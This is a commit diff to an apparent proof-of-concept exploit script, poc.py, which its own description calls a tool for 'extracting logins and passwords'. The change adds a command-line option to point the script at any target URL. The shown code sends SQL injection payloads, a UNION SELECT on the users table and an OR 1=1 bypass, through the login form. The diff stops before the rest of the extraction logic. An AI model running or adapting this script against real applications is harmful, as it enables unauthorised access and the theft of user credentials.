added argparse for poc and requirements

poc.py

@@ -1,7 +1,13 @@
+#!/usr/bin/env python3
 import requests
 import re
+import argparse
 
-BASE_URL = "http://localhost:8000"
+parser = argparse.ArgumentParser(description="Exploit script for extracting logins and passwords.")
+parser.add_argument("--base-url", default="http://localhost:80", help="Base URL of the target application")
+args = parser.parse_args()
+
+BASE_URL = args.base_url
 
 login_payload = "' UNION SELECT login FROM users--"
 form_data = {"login": login_payload, "password": "' OR 1=1--"}